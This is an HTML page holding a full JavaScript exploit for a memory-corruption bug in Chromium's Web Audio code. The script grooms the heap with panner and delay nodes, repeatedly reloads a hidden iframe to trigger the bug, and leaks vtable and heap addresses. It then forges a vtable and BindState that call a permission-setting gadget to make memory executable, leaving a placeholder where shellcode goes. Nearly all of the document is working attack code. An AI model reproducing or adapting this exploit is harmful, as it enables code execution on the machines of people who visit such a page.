<html>
<head>
<script>
audioCtx = new OfflineAudioContext(1, 3072, 3072);
audioCtx2 = new OfflineAudioContext(1, 3072, 3072);
audioCtx3 = new OfflineAudioContext(1, 3072, 3072);
audioCtx4 = new OfflineAudioContext(1, 3072, 3072);
audioCtx5 = new OfflineAudioContext(1, 3072, 3072);
panners = [audioCtx.createPanner(), audioCtx.createPanner(), audioCtx.createPanner()]
delayPad = new Array(2);
counter = 0;
delay_leak = null;
controlled_data = null;
controlled_data2 = null;
arr = [audioCtx.createPanner(), audioCtx.createPanner(), audioCtx.createPanner(), audioCtx.createPanner()];
pageOffset = 1736;
hrtf_vtable_offset = 0xa1b6b30n;
//base::internal::Invoker<base::internal::BindState<void (*)(blink::KURL const&, base::WaitableEvent*, std::__1::unique_ptr<blink::WebGraphicsContext3DProvider, std::__1::default_delete<blink::WebGraphicsContext3DProvider> >*), blink::KURL, WTF::CrossThreadUnretainedWrapper<base::WaitableEvent>, WTF::CrossThreadUnretainedWrapper<std::__1::unique_ptr<blink::WebGraphicsContext3DProvider, std::__1::default_delete<blink::WebGraphicsContext3DProvider> > > >, void ()>::RunOnce(base::internal::BindStateBase*)
polymorphicInvokerOffset = 0x97b7d50n;
    
function sleep(miliseconds) {
   var currentTime = new Date().getTime();
   while (currentTime + miliseconds >= new Date().getTime()) {
   }
}

function convertAddress(float) {
  let buf = new ArrayBuffer(4);
  floatView = new Float32Array(buf);
  intView = new Uint8Array(buf);
  floatView[0] = float;
  let out = '';
  for (let i = 3; i >= 0; i--) {
    if (intView[i] == 0) {
      out += '00';
      continue;
    }
    let result = intView[i].toString(16);
    out += intView[i].toString(16);
  }
  return out;
}

function addressToInt64(float0, float1) {
  let buf = new ArrayBuffer(8);
  floatView = new Float32Array(buf);
  int8View = new Uint8Array(buf);
  floatView[0] = float0;
  floatView[1] = float1;
  //Fix alignment
  let bigBuf = new ArrayBuffer(8);
  let bigint8View = new Uint8Array(bigBuf);
  for (let i = 0; i < 6; i++) {
   bigint8View[i] = int8View[i +2]; 
  }
  bigint8View[6] = 0;
  bigint8View[7] = 0;
  let bigint64View = new BigUint64Array(bigBuf);
  return bigint64View[0];
}

function load() {
  //Pad to make controlled data overlap with boundary
  delayPad[0] = audioCtx4.createDelay(0.1663);
  //Allocate controlled data
  controlled_data = audioCtx2.createDelay(0.1663);
  controlled_data2 = audioCtx5.createDelay(0.1663);

  //Arrange the layout of the bucket 1152
  //First 3 chunks
  for (let i = 0; i < panners.length; i++) {
    panners[i].panningModel = 'HRTF';
  }
  //Create a DelayDSPKernel whose buffer_ has the right size, which will be used to leak data.
  delay_leak = audioCtx.createDelay(0.0908);
  //3/3072 = 1./1024, need denominator to be power of 2 to make some arithmetic simpler
  delay_leak.delayTime.value =  3 * 0.0009765625;
//SetPanningModel also creates a bunch of other buffers with size 1056 in a different thread, wait for these to be created first
  //before deleting so that the gap doesn't get occupied by these.
  sleep(1000);
  //Free up the first 3 chunks to arrange the layout, in reverse order
  for (let i = panners.length - 1; i >= 0; i--) {
    panners[i].panningModel = 'equalpower';
  }
  audioCtx.audioWorklet.addModule('delay-processor.js').then(()=>{
    createIframe();
  });
}

function createIframe() {
  let iframe = document.createElement('iframe');
  iframe.style.display="none";
  iframe.setAttribute('id', 'ifrm');
  iframe.src = 'finished_delay_release2.html';
  document.body.appendChild(iframe);
}

function calculatePageStart(address) {
  return address & (-4096n)
}

function writeSource(vtableAddress, controlledAddress) {
  let buffer = audioCtx2.createBuffer(1, 512, 3072);

  let data = buffer.getChannelData(0);
  let int8View = new Uint8Array(data.buffer);
  let baseAddress = vtableAddress - hrtf_vtable_offset - 16n;
//  let ropAddress = baseAddress + 158215616n + 564n - 16n;
  //Jump to BlobCompleteCaller::OnComplete to call virtual function
  let ropAddress = baseAddress + 0x305bd40n;
  //Just a NoOpt address
  let retAddress = ropAddress + 0x2cn;
  let addressBuffer = new ArrayBuffer(8);
  let bigIntView = new BigUint64Array(addressBuffer);
  bigIntView[0] = ropAddress;
  let ropInt8View = new Uint8Array(addressBuffer);
  //Stores address to BlobCompleteCaller::OnComplete
  let offset = 8 + 1736;
  let size = 8;
  for (let i = offset; i < offset + size; i++) {
    int8View[i] = ropInt8View[i - offset];
  }
  offset += size;
  //Stores bindState
  size = 0xa8;
  let polymorphicInvoker = baseAddress + polymorphicInvokerOffset;
//PolymorphicInvoker:
  //mov rax,QWORD PTR [rdi + 0x20]; <-- function call
  //mov rsi,QWORD PTR [rdi + 0x98]; <-- size
  //mov rdx,QWORD PTR [rdi + 0xa0]; <-- access
  //add rdi, 0x28 <--- page address to set permission
  let setPermissions = baseAddress + 0x7f53980n;
  let bindState = new ArrayBuffer(size);
  let bindStateView = new DataView(bindState);
  bindStateView.setBigUint64(0, 1n, true);
  bindStateView.setBigUint64(8, polymorphicInvoker, true);
  bindStateView.setBigUint64(0x10, retAddress, true);
  bindStateView.setBigUint64(0x18, retAddress, true);
  bindStateView.setBigUint64(0x20, setPermissions, true);
  bindStateView.setBigUint64(0x98, 4096n, true);  //<-- size
  bindStateView.setBigUint64(0xa0, 0x03n, true);  //<-- access
  let bindStateIntView = new Uint8Array(bindState);
  for (let i = offset; i < offset + size; i++) {
    int8View[i] = bindStateIntView[i - offset];
  }
  //Replace with shell code.
  for (let i = offset + size; i < offset + size + 3; i++) {
    int8View[i] = 0x42;
  }

  let src = audioCtx2.createBufferSource();
  src.buffer = buffer;
  src.connect(controlled_data);
  controlled_data.connect(audioCtx2.destination);
  src.start();
  audioCtx2.suspend((4 * 128)/3072.0);

  audioCtx2.startRendering();
}

function bigInt2Int8(bigInt) {
  let buffer = new ArrayBuffer(8);
  let bigIntView = new BigUint64Array(buffer);
  let intView = new Uint8Array(buffer);
  bigIntView[0] = bigInt;
  return intView;
}

function rewriteVtable(controlledAddress) {
  let buffer = audioCtx3.createBuffer(1, 280, 3072);
  let data = buffer.getChannelData(0);
  let int8View = new Uint8Array(data.buffer);
  //Overwrite vtable to controlledAddress
  let fakeVtableAddr = controlledAddress + 1736n;
  let controlledInt8 = bigInt2Int8(fakeVtableAddr);
  for (let i = 1090; i < 1098; i++) {
    int8View[i] = controlledInt8[i - 1090];
  }
  //ControlledAddress + 16n now stores fake BindState
  controlledInt8 = bigInt2Int8(fakeVtableAddr + 16n);
  for (let i = 1098; i < 1098 + 8; i++) {
    int8View[i] = controlledInt8[i - 1098];
  }
  let fakeObj = audioCtx3.createBufferSource();
  fakeObj.buffer = buffer;
  let delay = audioCtx3.createDelay(0.0908);
  fakeObj.connect(delay);
  delay.connect(audioCtx3.destination);
  fakeObj.start();
  audioCtx3.suspend((3 * 128)/3072.0).then(()=> {
    arr[3].panningModel = 'equalpower';
  });
  audioCtx3.startRendering();
}

async function leak_addresses() {
  let src = audioCtx.createOscillator();
  src.connect(delay_leak);
  delay_leak.connect(audioCtx.destination);
  var buffer = await audioCtx.startRendering();
  src.disconnect(delay_leak);
  delay_leak.disconnect(audioCtx.destination);
  delete src;
  delete delay_leak;
  let x = [];
  for (let i = 0; i < 100; i++) {
    x.push(new ArrayBuffer(1024 * 1024));
  }
  let out = buffer.getChannelData(0);
  let addr0 = convertAddress(out[1]);
  addr0 = addr0.substring(0,4);
  let addr1 = convertAddress(out[2]);
  let addr2 = convertAddress(out[5]);
  addr2 = addr2.substring(0,4);
  let addr3 = convertAddress(out[6]);
  let div = document.getElementById("div1");
  div.innerHTML = 'HRTFPanner vtable address: 0x' + addr1 + addr0 + ' bin72 address: 0x' + addr3 + addr2;
  let intVtable = addressToInt64(out[1], out[2]);
  let intHeap = addressToInt64(out[5], out[6]);
  let div2 = document.getElementById("div2");
  div2.innerHTML = 'HRTFPanner vtable: ' + intVtable + ' bin72: ' + intHeap;
  return {vtable: intVtable, heap: intHeap}
}

function bigInt2hex(bigInt) {
  let result = new BigUint64Array([bigInt]);
  let resultInt8View = new Uint8Array(result.buffer);
  let out = '';
  for (let i = 7; i >= 0; i--) {
    if (resultInt8View[i] == 0) {
      out += '00';
    } else {
      out += resultInt8View[i].toString(16);
    }
  }
  return out
}

function calculateControlledAddress(heapAddress) {
  //Replace offset as it can be unreliable in the size 72 bin
  let buffer = new ArrayBuffer(8);
  let int8View = new Uint8Array(buffer);
  let bigIntView = new BigUint64Array(buffer);
  bigIntView[0] = heapAddress;
  int8View[0] = 0x68;
  int8View[1] = 0x41;
  //Hardcoded offset between heap bins.
  let controlledAddress = bigIntView[0] + 0x184798n;

  let out = bigInt2hex(controlledAddress);
  let page = bigInt2hex(controlledAddress + 0x700n);

  let div3 = document.getElementById("div3");
  div3.innerHTML = 'Controlled data address: 0x' + out + 'int address: ' + controlledAddress;
  let div4 = document.getElementById("div4");
  div4.innerHTML = 'Page permission from address: 0x' + page + ' will be written to rwx';
  return controlledAddress;
} 

function remove() {
  let frame = document.getElementById("ifrm");
  frame.parentNode.removeChild(frame);

  if (counter < 32 + 4 * 7 + 2) {
    //Trigger bug to move chunk backwards
    let biquad = audioCtx.createBiquadFilter();
    counter++;
    console.log(counter);
    delete biquad;
    sleep(700);
    createIframe();
  } else {
    //Fill the gap
    for (let i = 0; i < arr.length; i++) {
      arr[i].panningModel = 'HRTF';
    }
    leak_addresses().then((results) => {
      controlledAddress = calculateControlledAddress(results.heap);
      writeSource(results.vtable, controlledAddress);
      for (let i = 0; i < 100; i++) {
        new ArrayBuffer(1024 * 1024);
      }
      setTimeout(()=> {
        rewriteVtable(controlledAddress);
        }, 1000
      );
    });
  }
}
</script>
</head>
<body onload="load()">
  <div id = "div1"></div>
  <div id = "div2"></div>
  <div id = "div3"></div>
  <div id = "div4"></div>
</body>
</html>
